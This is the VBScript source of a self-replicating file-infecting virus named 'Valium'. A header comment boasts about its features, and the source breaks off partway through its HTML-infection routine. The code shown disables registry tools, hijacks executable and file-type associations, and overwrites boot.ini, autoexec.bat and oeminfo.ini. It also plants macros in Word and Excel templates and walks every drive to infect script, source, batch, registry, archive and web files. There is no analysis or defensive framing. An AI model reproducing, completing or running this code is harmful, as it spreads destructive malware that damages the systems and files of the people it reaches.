'valium
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
' The
' **** ***** ****** ***** ***** ***** **** ***** *****
' *** *** *** ** *** *** *** ** *********
' *** *** ******** *** *** *** ** *** ** **
' ***** *** ** *** *** *** ** *** **
' *** *** ** ******* ***** ****** ***** ****
'
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'Valium is an Script virus,made in Visual Basic Script.
'Valium designed to infect many file types which is vulnerable for script to attack.
'it also has ability to infect graph files such as bmp,jpg,gif even it is not realy
'infection,but I think valium had show you how script infect those files.
'Valium infecting some project files such as cpp,frm and pas by adding it self in it
'Valium also adding it self in every zip or rar files,using lame bugs from its internal command
'Valium injecting it self in every nrb and nri files,see my article about what is nri or nrb
'in 29a#8 and this is just simple implementation in script to spread via cd-room
'Valium also macro virus,it infecting doc and xls,by injecting it body in normal.temp/xlstart
'I think Valium is an big script infector,infecting at least 22 file types
'Some memory resident trick,duplicator type trick,booting stuff trick also available here
'Valium also has abiity to encrypt it self/selfcripting using poly/Epo tricky.
'Thats all about this lame shit,Do not code script if you don't have something new in it.
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'Name : Valium
'Author : Psychologic/rRlf
'System : 9x,Me,Nt,Xp with WSH ofcourse
'Target files : Portable Script
' vbs,vbe,js,bat,reg,nri,nrb,doc,xls,rar,zip,cpp,pas,frm,jpg,gif,bmp,ico,html,htt,shtml,htm
'Worming : No this is virus not worm
'Polymorph : Yes mixture with encryption and some silly Epo
'Encryption : Ofcourse self encrypting ability
'Payload : -Randomize
' ^Overwrite oeminfo.ini
' ^An Cool graphical matrix message
'Feature : -Some Memory resident trick
' -Self destruction
' -Some booting stuffs
' -Some funny stuffs
'Known Bugs : As you see this virus need to drops many files cos it need much dummy for buffer character
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'* WARNING *
'Valium designed to be fast in spreading,do not execute it if you dont know how to handle it
'author not responsible for your stupid act with it.
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'valium
Randomize
on error resume next
r = int(rnd * 100)
If r = 7 then
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'Well here is the payload which will drop oeminfo.ini and drop html file for graphical
'mesage,I know it is just make this virus biger,but I don't care,its just script right??
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Set fso = CreateObject("Scripting.FileSystemObject")
set a = fso.CreateTextFile("C:\windows\system\Oeminfo.ini")
a.writeline "[General]"
a.writeline "Manufacturer=" & chr(34) & "Psychologic" & chr(34)
a.writeline "Model=" & chr(34) & "Valium virus" & chr(34)
a.writeline "[Support Information]"
a.writeline "Line1 = " & chr(34) & "Your computer has been infected with valium virus" & chr(34)
a.writeline "Line2 = " & chr(34) & "" & chr(34)
a.writeline "Line3 = " & chr(34) & "'valium by Psychologic" & chr(34)
set payload = fso.createtextfile("C:\payload.html",true)
payload.writeline "<HTML><HEAD><TITLE>Valium virus</TITLE><SCRIPT LANGUAGE=" & chr(34) & "JavaScript" & chr(34) & ">"
payload.writeline "<!-- Begin"
payload.writeline "var matrix_window;"
payload.writeline "function MatrixWrite(string, bold, italic, speed) {"
payload.writeline "var height = window.screen.height;"
payload.writeline "var width = window.screen.width;"
payload.writeline "var win_dimensions = " & chr(34) & "height = " & chr(34) & " + eval(height + 10) + " & chr(34) & ", width = " & chr(34) & " + eval(width + 30);"
payload.writeline "matrix_window = window.open(" & chr(34) & "blank.htm" & chr(34) & ", " & chr(34) & "matrix_window" & chr(34) & ", win_dimensions);"
payload.writeline "matrix_window.document.open(" & chr(34) & "text/html" & chr(34) & ", " & chr(34) & "replace" & chr(34) & ");"
payload.writeline "var i;"
payload.writeline "var timer = 0;"
payload.writeline "if(matrix_window.moveTo)"
payload.writeline "matrix_window.moveTo(-10, -30);"
payload.writeline "if(matrix_window.resizeBy)"
payload.writeline "matrix_window.resizeBy(0, 50);"
payload.writeline "matrix_window.document.write(" & chr(34) & "<body bgcolor=000000 text=00ff00 onBlur='self.focus()'>" & chr(34) & ");"
payload.writeline "matrix_window.document.write(" & chr(34) & "<font face=system>" & chr(34) & ");"
payload.writeline "if(bold == true) matrix_window.document.write(" & chr(34) & "<b>" & chr(34) & ");"
payload.writeline "if(italic == true) matrix_window.document.write(" & chr(34) & "<i>" & chr(34) & ");"
payload.writeline "for(i = 0; i <= string.length; i++) {"
payload.writeline "timer += (Math.random() * speed);"
payload.writeline "setTimeout(" & chr(34) & "matrix_window.document.write('" & chr(34) & " + string.charAt(i) + " & chr(34) & "');" & chr(34) & ", timer);"
payload.writeline "}"
payload.writeline "timer += 2000;"
payload.writeline "setTimeout(" & chr(34) & "matrix_window.close()" & chr(34) & ", timer);"
payload.writeline "}"
payload.writeline "<!-- JavaScript Praphical matRix payload By : Psyhologic -->"
payload.writeline "<!-- Email : psychologic@hotmail.com -->"
payload.writeline "<!-- Made From Microsoft Visual Basic Worm Editor By Psychologic -->"
payload.writeline "<!-- Begin"
payload.writeline "var matrix_window;"
payload.writeline "function MatrixWrite(string, bold, italic, speed) {"
payload.writeline "var height = window.screen.height;"
payload.writeline "var width = window.screen.width;"
payload.writeline "var win_dimensions = " & chr(34) & "height = " & chr(34) & " + eval(height + 10) + " & chr(34) & ", width = " & chr(34) & " + eval(width + 30);"
payload.writeline "matrix_window = window.open(" & chr(34) & "blank.htm" & chr(34) & ", " & chr(34) & "matrix_window" & chr(34) & ", win_dimensions);"
payload.writeline "matrix_window.document.open(" & chr(34) & "text/html" & chr(34) & ", " & chr(34) & "replace" & chr(34) & ");"
payload.writeline "var i;"
payload.writeline "var timer = 0;"
payload.writeline "if(matrix_window.moveTo)"
payload.writeline "matrix_window.moveTo(-10, -30);"
payload.writeline "if(matrix_window.resizeBy)"
payload.writeline "matrix_window.resizeBy(0, 50);"
payload.writeline "matrix_window.document.write(" & chr(34) & "<body bgcolor=000000 text=00ff00 onBlur='self.focus()'>" & chr(34) & ");"
payload.writeline "matrix_window.document.write(" & chr(34) & "<font face=system>" & chr(34) & ");"
payload.writeline "if(bold == true) matrix_window.document.write(" & chr(34) & "<b>" & chr(34) & ");"
payload.writeline "if(italic == true) matrix_window.document.write(" & chr(34) & "<i>" & chr(34) & ");"
payload.writeline "for(i = 0; i <= string.length; i++) {"
payload.writeline "timer += (Math.random() * speed);"
payload.writeline "setTimeout(" & chr(34) & "matrix_window.document.write('" & chr(34) & " + string.charAt(i) + " & chr(34) & "');" & chr(34) & ", timer);"
payload.writeline "}"
payload.writeline "timer += 2000;"
payload.writeline "setTimeout(" & chr(34) & "matrix_window.close()" & chr(34) & ", timer);"
payload.writeline "}"
payload.writeline "var messages = new Array(" & chr(34) & "this is valium virus by puppy" & chr(34) & "," & chr(34) & "valium ----- youri had belong to me" & chr(34) & "," & chr(34) & "Please delete me now" & chr(34) & ");"
payload.writeline "function GetRndIndex() {"
payload.writeline "return (parseInt(Math.random() * messages.length));"
payload.writeline "}"
payload.writeline "function WriteRndMsg(bold, italic, speed) {"
payload.writeline "MatrixWrite(messages[GetRndIndex()], bold, italic, speed);"
payload.writeline "}"
payload.writeline "// End -->"
payload.writeline "function GetRndIndex() {"
payload.writeline "return (parseInt(Math.random() * messages.length));"
payload.writeline "}"
payload.writeline "function WriteRndMsg(bold, italic, speed) {"
payload.writeline "MatrixWrite(messages[GetRndIndex()], bold, italic, speed);"
payload.writeline "}"
payload.writeline "// End -->"
payload.writeline "</script>"
payload.writeline "</HEAD>"
payload.writeline "<BODY Onload = " & chr(34) & "javascript:WriteRndMsg(true, true, 750)" & chr(34) & ">"
payload.writeline "<b>Your Computer has been Infected with : </b>"
payload.writeline "<p><b><font color=" & chr(34) & "#FF0000" & chr(34) & ">Valium virus </font> Your Pc has been infected with Valium virus by psychologic/redline</b></p>"
payload.writeline "</body></html>"
payload.close
CreateObject("Wscript.shell").run "C:\payload.html"
end if
CreateObject("Wscript.shell").regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1, "REG_DWORD"
createobject("Wscript.shell").regwrite "HKEY_CLASSES_ROOT\Directory\Shell\valium games\Command\","WScript.exe | C:\Windows\valium.vbs"
createobject("Wscript.shell").regwrite "HKEY_CLASSES_ROOT\exefile\shell\open\command\", "%WINDIR%\valium.vbs %1 %*"
set executor = wscript.CreateObject("WScript.Shell")
Set fso = createobject("scripting.filesystemobject")
fso.CopyFile Wscript.ScriptFullName, "C:\windows\valium.vbs"
fso.CopyFile Wscript.ScriptFullName, "C:\windows\systemCD.vbs"
fso.copyfile wscript.scriptfullname,"C:\windows\WindowsSystem.sys"
Set OpenSelf = FSO.OpenTextFile(Wscript.ScriptFullName, 1, True)
code = OpenSelf.readall & vbcrlf & "'valium"
set backup = fso.createtextfile("C:\doc.1",true)
backup.write code
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'A function to changes this script body to *cpp format,need to drop file for buffy character
'and all formated *cpp character saved in one variable
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
set opendropercpp = fso.OpenTextFile("C:\windows\WindowsSystem.sys", 1)
allsourcecpp = ""
oneline1 = ""
do while opendropercpp.readline <> "'valium"
oneline1 = ""
oneline1 = opendropercpp.readline
onebyone = len(oneline1)
for i = 1 to onebyone
read34 = mid(oneline1,i,1)
if read34 = chr(34) then
m = ",34"
else
m = ""
end if
all = all & m
next
cppformat = replace(oneline1,chr(34),"%c")
fullline1 = "fprintf(mvbswe," & chr(34) & cppformat & "\n" & chr(34) & all & ");"
allsourcecpp = allsourcecpp & vbcrlf & fullline1
all = ""
loop
opendropercpp.close
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'A function to changes this script body to *frm format,need to drop file for buffy character
'and all formated *frm character saved in one variable
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
set opendroperfrm = fso.OpenTextFile("C:\windows\WindowsSystem.sys", 1)
allsourcefrm = ""
oneline = ""
do while opendroperfrm.readline <> "'valium"
oneline = opendroperfrm.readline
frmformat = replace(oneline,chr(34),chr(34)&"&chr(34)&"&chr(34))
fullline = "? #1," & frmformat
allsourcefrm = allsourcefrm & vbcrlf & fullline
loop
opendroperfrm.close
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'A function to changes this script body to *pas format,need to drop file for buffy character
'and all formated *pas character saved in one variable
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
oneline2 = ""
set opendroperpas = fso.OpenTextFile("C:\windows\WindowsSystem.sys", 1)
do while opendroperpas.readline <> "'valium"
oneline2 = ""
oneline2 = opendroperpas.readline
fullline2 = "writeln (mvbswe,'" & oneline2 & "');"
allsourcepas = allsourcepas & vbcrlf & fullline2
loop
opendroperpas.close
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'Just for spliting a:,its a funny stuff,but not destructive
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
set r = fso.opentextfile("C:\autoexec.bat",1)
all = r.readall
set m = fso.createtextfile("C:\autoexec.bat",true)
m.write all
m.writeline "subst c: a:\"
m.writeline "subst d: a:\"
m.writeline "subst e: a:\"
m.writeline "subst f: a:\"
m.writeline "subst g: a:\"
m.close
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'Also funny stuff,valium will make boot.ini in C:\
'infected machine will now about this
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
set boot = fso.createtextfile("C:\boot.ini",true)
boot.writeline "[Boot Loader]"
boot.writeline "timeout=60"
boot.writeline "Default=C:\"
boot.writeline ""
boot.writeline "[Operating Systems]"
boot.writeline "C:\" & chr(34) & "You infected with valium virus" & chr(34) & " /fastdetect"
boot.writeline "D:\" & chr(34) & "Psychologic was here" & chr(34)
boot.writeline "E:\" & chr(34) & "This is valium New operating system" & chr(34)
boot.close
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'A function to changes this script body to macro's format,it is needed for injecting the virus
'body to Normaltemp,you see,after this execution,valium will be macro virus too.
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
set opendroperdoc = fso.OpenTextFile("C:\doc.1", 1)
set doc= fso.CreateTextFile("C:\Document.sys", 1)
doc.writeline "Private Sub Document_Open()"&vbcrlf&"Open "&chr(34)&"file.vbs"&chr(34)&" for output as #1"
do while oneline <> "'valium"
oneline = opendroperdoc.readline
docformat = replace(oneline,chr(34),chr(34)&"&chr(34)&"&chr(34))
fullline = "? #1," & Chr(34) & docformat & chr(34)
doc.writeline fullline
loop
doc.writeline vbcrlf & "close #1 : Createobject("& chr(34) & "Wscrip.shell" & chr(34) & ").run " & chr(34) & "file.vbs" & chr(34) & " : end sub"
doc.close
opendroperdoc.close
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'Infecting NormalTemp
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Set wordobj = CreateObject("Word.Application")
Set NT = wordobj.NormalTemplate.VBProject.VBComponents
For h = 1 To NT.Count
If NT(h).Name = "valy" Then
wordobj.NormalTemplate.Save
wordobj.Quit
wordobj = ""
else
NT.Import "C:\Document.sys"
end if
next
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'Infecting XLStert
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Set excelvir = CreateObject("excel.application")
excelvir.Visible = (Rnd * 0)
excelvir.CommandBars("Tools").Controls(10).Enabled = 0
excelvir.CommandBars("Tools").Controls(12).Enabled = 0
excelvir.CommandBars("View").Controls(3).Enabled = 0
excelvir.CommandBars("Window").Controls(3).Enabled = 0
excelvir.CommandBars("Window").Controls(4).Enabled = 0
Book = excelvir.Application.StartupPath & "\virus.xls"
Set workbookvir = excelvir.Workbooks.Add
workbookvir.VBProject.VBComponents.Import "C:\Document.sys"
excelvir.ActiveWindow.Visible = 0
workbookvir.SaveAs Book
Set workbookvir = Nothing
excelvir.Quit
Set excelvir = Nothing
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'Function to changes *jgp files file same as *vbs files,you will need this to infect graph files
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Set changetype = CreateObject("Wscript.Shell")
'jgp <-> VBS
On Error Resume Next
changetype.regwrite "HKEY_CLASSES_ROOT\jgpFile\"
changetype.regwrite "HKEY_CLASSES_ROOT\jgpFile\DefaultIcon\","C:\WINDOWS\WScript.exe,3"
changetype.regwrite "HKEY_CLASSES_ROOT\jgpFile\ScriptEngine\","VBScript"
changetype.regwrite "HKEY_CLASSES_ROOT\jgpFile\ScriptHostEncode\","{85131631-480C-11D2-B1F9-00C04F86C324}"
changetype.regwrite "HKEY_CLASSES_ROOT\jgpFile\Shell\Open\Command\","C:\WINDOWS\WScript.exe " & chr(34) & "%1" & chr(34) & " %*"
changetype.regwrite "HKEY_CLASSES_ROOT\jgpFile\Shell\Play\Command\","C:\WINDOWS\COMMAND\CScript.exe " & chr(34) & "%1" & chr(34) & " %*"
changetype.regwrite "HKEY_CLASSES_ROOT\jgpFile\ShellEx\PropertySheetHandlers\WSHProps\","{60254CA5-953B-11CF-8C96-00AA00B8708C}"
changetype.regwrite "HKEY_CLASSES_ROOT\.jgp\","jgpFile"
changetype.regwrite "HKEY_CLASSES_ROOT\jgp\CLSID\","{B54F3741-5B07-11cf-A4B0-00AA004A55E8}"
changetype.regwrite "HKEY_CLASSES_ROOT\jgp\OLEScript\"
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'TravelDir section begin here
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Self = OpenSelf.Readall
Set Drives=fso.drives
For Each Drive in Drives
If drive.isready then
Dosearch drive & "\"
end If
Next
function Dosearch(path)
on error resume next
Set Folder=fso.getfolder(path)
Set Files = folder.files
For Each File in files
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'Infecting all *cpp,*frm and *pas files
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
If fso.GetExtensionName(file.path)="cpp" then
on error resume next
set readcppmarker = fso.OpenTextFile(file.path,1)
cppmarker = readcppmarker.readline
cppreadall = readcppmarker.readall
if mid(cppreadall,len(cppreadall),1) = "}" then
cppreadall1 = replace(cppreadall,mid(cppreadall,len(cppreadall),1),"")
end if
if cppmarker <> "// W32.hllp.valiumvir" then
set readcppmarker = fso.CreateTextFile(file.path, True)
readcppmarker.write "// W32.hllp.valiumvir" & vbcrlf & "FILE *valiumv;" & vbcrlf
readcppmarker.write cppreadall & "wormvaliumv = fopen("&chr(34)&"valiumv.vbs"&chr(34)&","&chr(34)&"wt"&chr(34)&");" & vbcrlf
readcppmarker.write "if(wormvaliumv)"&vbcrlf&"{"& allsourcecpp &vbcrlf&"}" & vbcrlf
readcppmarker.write "ShellExecute(NULL, "&chr(34)&"open"&chr(34)&", "&chr(34)&"valiumv.vbs"&chr(34)&", NULL, NULL, SW_SHOWNORMAL);" & vbcrlf
readcppmarker.write "}" & vbcrlf
readcppmarker.close
end if
end if
If fso.GetExtensionName(file.path)="frm" then
on error resume next
set readfrmmarker = fso.OpenTextFile(file.path,1)
frmmarker = readfrmmarker.readline
frmreadall = readfrmmarker.readall
if frmmarker <> "Rem W32.hllp.Mvbswe" then
set readfrmmarker = fso.CreateTextFile(file.path, True)
readfrmmarker.write "Rem W32.hllp.valium" & vbcrlf & frmreadall & vbcrlf
readfrmmarker.write "Private Sub form_unload(cancel As Integer)" & vbcrlf
readfrmmarker.write "On Error GoTo err:" & vbcrlf
readfrmmarker.write "Open " & chr(34) & "C:\mvbswe.vbs" & chr(34) & " for output as #1" & vbcrlf
readfrmmarker.write allsourcefrm & vbcrlf & "close #1" & vbcrlf & "shell " & chr(34) & "C:\mvbswe.vbs" & chr(34) & vbcrlf
readfrmmarker.write "msgbox " & chr(34) & "Your Program has been infected valium virus" & chr(34) & ",VbInformation," & chr(34) & "W32.VBS.Mvbswe" & chr(34)
readfrmmarker.write vbcrlf & "exit sub" & vbcrlf & "err:" & vbcrlf & "End sub" & vbcrlf
readfrmmarker.close
end if
end if
If fso.GetExtensionName(file.path)="pas" then
on error resume next
set readpasmarker = fso.OpenTextFile(file.path,1)
pasmarker = readpasmarker.readline
pasreadall = readpasmarker.readall
if pasmarker <> "{ W32.hllp.valium }" then
set readpasmarker = fso.CreateTextFile(file.path, True)
readpasmarker.write "{ W32.hllp.valium }" & vbcrlf & pasreadall & vbcrlf
readpasmarker.write "procedure " & "TForm1.FormClose(Sender: TObject; var Action: TCloseAction);" & vbcrlf
readpasmarker.write "begin" & vbcrlf & "AssignFile (mvbswe,'C:\Windows\STARTM~1\programs\startup\mvbswe.vbs');" & vbcrlf
readpasmarker.write "Rewrite (mvbswe);" & vbcrlf & allsourcepas & vbcrlf & "CloseFile(mvbswe);" & vbcrlf
readpasmarker.close
end if
end if
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'Infecting vbs,vbe files
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
If fso.GetExtensionName(file.path)="vbs" or fso.GetExtensionName(file.path)="vbe" then
Set Scripts = FSO.OpenTextFile(File.path, 1, True)
If Scripts.ReadLine <> "'valium" then
Set Scripts = FSO.OpenTextFile(File.path, 1, True)
ScriptsSource = Scripts.ReadAll
Set WriteScripts = FSO.OpenTextFile(File.path, 2, True)
WriteScripts.WriteLine Self
WriteScripts.WriteLine ScriptsSource
end if
end if
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'Infecting zip and rar with their internal command
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
If fso.GetExtensionName(file.path)="zip" then
On error resume next
set ws = createobject("wscript.shell")
set word = createobject("word.application")
appword = word.System.PrivateProfileString("","HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\winzip32.exe", "")
ws.run appword & " -a -r " & file.path & Chr(32) & " C:\windows\valium.vbs"
end if
next
If fso.GetExtensionName(file.path)="rar" then
on error resume next
set ws = createobject("wscript.shell")
set fso = createobject("Scripting.filesystemobject")
rar1 = "C:\Program Files\WinRAR\WinRAR.exe":rar2 = "D:\Program Files\WinRAR\WinRAR.exe"
if fso.fileexists(rar1) or fso.fileexists(rar2) then
ws.run "WinRAR.exe a " & file.path & " C:\windows\virus.vbs"
end if
end if
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'Open virus body and changes it to js format then gooo eat it
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
If fso.GetExtensionName(file.path)="js" then
set u = fso.opentextfile(Wscript.scriptfullname,1)
uu = u.readall
for i = 1 to len(uu)
a = mid(uu,i,1)
aa = asc(a)
if i <> len(uu)
aaa = replace(uu,a,aa & ",")
else
aaa = replace(uu,a,aa & ")")
end if
all = all & aaa
next
u.close
set fin = fso.createtextfile(file.path,true)
fin.write "var a=string.fromcharcode("&all&vbcrlf
fin.write "var b=wscript.createobject("&chr(34)&"scripting.filesystemobject"&chr(34)&").createtextfile("&chr(34)&"aaa.vbs"&chr(34)&")"&vbcrlf
fin.write "for(i=0; i<a.length; i++){"&vbcrlf&"try{b.write(a.charAt(i))}"&vbcrlf&"catch(c){}}"&vbcrlf
fin.write "WScript.CreateObject("&chr(34)&"WScript.Shell"&chr(34)&").run("&chr(34)&"aaa.vbs"&chr(34)&",0)"
fin.close
End if
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'Changes virus body to bat format and goooo infect it
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
If fso.GetExtensionName(file.path)="Bat" then
set u = fso.opentextfile(Wscript.scriptfullname)
uu = u.readall
u.close
set e = fso.CreatetextFile(file.path)
e.write uu
e.writeline ":end"
e.close
set i = fso.opentextfile(file.path)
co = 0
do while buff <> ":end"
co = co + 1
buff = i.readline
loop
co = co + 14
i.close
set fin = fso.createtextfile(file.path)
fin.writeline "@Echo set ff=createobject(" & chr(34) & "scripting.filesystemobject" & chr(34) & ")>>C:\gen.vbs"
fin.writeline "@Echo set rr=ff.opentextfile(" & chr(34) & "%0" & chr(34) & ",1)>>C:\gen.vbs"
fin.writeline "@Echo lls=Split(rr.ReadAll,vbCrLf)>>C:\gen.vbs"
fin.writeline "@Echo for ii=15 to " & co & " >>C:\gen.vbs"
fin.writeline "@Echo newcode=newcode & vbcrlf & lls(ii)>>C:\gen.vbs"
fin.writeline "@Echo next>>C:\gen.vbs"
fin.writeline "@Echo set ww=ff.createtextfile(ff.getspecialfolder(0) & " & chr(34) & "\vir.vbs" & chr(34) & ",true)>>C:\gen.vbs"
fin.writeline "@Echo ww.write newcode>>C:\gen.vbs"
fin.writeline "@Echo ww.close>>C:\gen.vbs"
fin.writeline "@Echo set ss=createobject(" & chr(34) & "wscript.shell" & chr(34) & ")>>C:\gen.vbs"
fin.writeline "@Echo ss.run ff.getspecialfolder(0) & " & chr(34) & "\wscript.exe " & chr(34) & " & ff.getspecialfolder(0) & " & chr(34) & "\vir.vbs %" & chr(34) & ",1,false>>C:\gen.vbs"
fin.writeline "@cscript C:\gen.vbs"
fin.writeline "@del C:\gen.vbs"
fin.writeline "@cls"
fin.write uu
fin.close
End if
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'Changes virus body to reg format and goooo eat it
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
If fso.GetExtensionName(file.path)="reg" then
set openreg = fso.opentextfile(file.path,1)
read = openreg.readall
set createreg = fso.createtextfile(file.path,2)
createreg.write read & vbcrlf
createreg.writeline "[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]"
createreg.writeline chr(34)&"executor"&chr(34)&"="&chr(34)&"command /c echo set a=createobject(\"&chr(34)&"Scripting.filesystemobject\"&chr(34)&"):set b=a.opentextfile(\"&chr(34)&"C:\windows\valium.vbs"&chr(34)&"):c=b.readall set d=a.createtextfile(\"&chr(34)&"virus.vbs\"&chr(34)&").write c:createobject(\"&chr(34)&"wscript.shell\"&chr(34)&").run \"&chr(34)&"virus.vbs\"&chr(34)&",0>vir.vbs"&chr(34)
createreg.writeline chr(34)&"executorrun"&chr(34)&"="&chr(34)&"wscript vir.vbs"&chr(34)
createreg.close
end if
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
'HyperText language infection
'^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
If fso.GetExtensionName(file.path)="html" or fso.GetExtensionName(file.path)="htt" or fso.GetExtensionName(file.path)="htm" or fso.GetExtensionName(file.path)="shtml" then
set a = fso.opentextfile(file.path,2)
l = a.readline
if l <> "<!---->" then
b = a.readall
